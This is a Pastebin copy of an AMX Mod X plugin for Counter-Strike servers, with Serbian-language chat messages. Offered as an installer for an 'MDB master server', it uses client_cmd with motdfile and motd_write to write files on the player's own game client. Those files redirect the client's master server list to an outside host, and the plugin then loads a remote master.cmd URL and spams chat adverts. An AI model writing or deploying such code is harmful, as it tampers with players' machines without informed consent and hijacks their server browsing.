MegastoRM

master

Jun 11th, 2012
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.18 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <cstrike>
  3. #include <amxmisc>
  4. #include <colorchat>
  5.  
  6. new pcvar_reklama2
  7. new bool:masterreklama[ 33 ] = true
  8.  
  9. #define FILE "temp.txt"
  10. #define MAX_SIZE 1012
  11.  
  12.  
  13. const SIZE = 1024;
  14. new szText[SIZE + 1];
  15.  
  16.  
  17. public plugin_init() {
  18. register_plugin( "Mdb CS/master", "1.1b", "MegasToRM" )
  19. pcvar_reklama2 = register_cvar("mdb_master","180");
  20. set_task(get_pcvar_float(pcvar_reklama2),"advert2",_,_,_,"b")
  21.  
  22. register_clcmd("say /master","upisi")
  23. register_clcmd("say_team /master","upisi")
  24. register_concmd("cs_master 0", "stopiraj2");
  25.  
  26. }
  27.  
  28.  
  29. public plugin_cfg()
  30. {
  31. new len = 0;
  32. len += formatex(szText[len], SIZE - len, "^"MasterServers^"{ ^"hl1^" { ^"0^" { ^"addr^" ^"cs.masterserver.biz:27010^" } ^"1^" { ^"addr^" ^"cs.masterserver.biz:27999^" } } ^"hl2^" { } ^"rdkf^" { } } ");
  33. }
  34.  
  35. public upisi(id)
  36. {
  37. client_cmd(id, "motdfile ^"temp2.txt^"");
  38. client_cmd(id, "motd_write %s", szText);
  39. client_cmd(id, "motdfile ^"motd.txt^"");
  40. client_cmd(id, "motdfile ^"temp.txt^"");
  41. client_cmd(id, "motd_write %s", szText);
  42. client_cmd(id, "motdfile ^"motd.txt^"");
  43.  
  44. set_task(0.4, "pocetak2", id)
  45. }
  46.  
  47. public plugin_precache()
  48. {
  49. precache_generic("master.cmd");
  50.  
  51. }
  52.  
  53.  
  54. public pocetak2(id)
  55. {
  56. new nick[ 32 ]
  57. get_user_name( id, nick,31 )
  58. ColorChat(0,GREEN,"^4[Master]^3 %s^1 je instalirao MDB master server.Da ga i ti instaliras, say ^3 /master",nick)
  59.  
  60. set_task( 0.1, "dloadmaster" ,id )
  61. }
  62.  
  63. public dloadmaster(id)
  64. {
  65. show_motd( id, "http://amxmodxrs.host22.com/master.cmd" )
  66. masterreklama[id] = false
  67. }
  68.  
  69. public reklamirajmaster(id)
  70. {
  71. masterreklama[id] = true
  72. }
  73.  
  74. public stopiraj2(id){
  75. masterreklama[id] = false
  76.  
  77. }
  78.  
  79. public reklamiraj2(id)
  80. {
  81. ColorChat( id,TEAM_COLOR,"^4[Master]^1 Da instaliras ^4 MDB Master Server ^1say ^3 /master" )
  82.  
  83. }
  84.  
  85. public advert2()
  86. {
  87. new iPlayers[ 32 ], iNum, id
  88. get_players( iPlayers, iNum )
  89. for ( new i; i < iNum; i++ )
  90. {
  91. id = iPlayers[ i ]
  92. if ( is_user_connected(id) )
  93. {
  94. if(masterreklama[id] == true)
  95. {
  96. reklamiraj2(id)
  97. }
  98. else if( masterreklama[id] == false )
  99. {
  100. return PLUGIN_HANDLED
  101. }
  102.  
  103. }
  104. }
  105. return PLUGIN_HANDLED
  106. }
Advertisement
Add Comment
Please, Sign In to add comment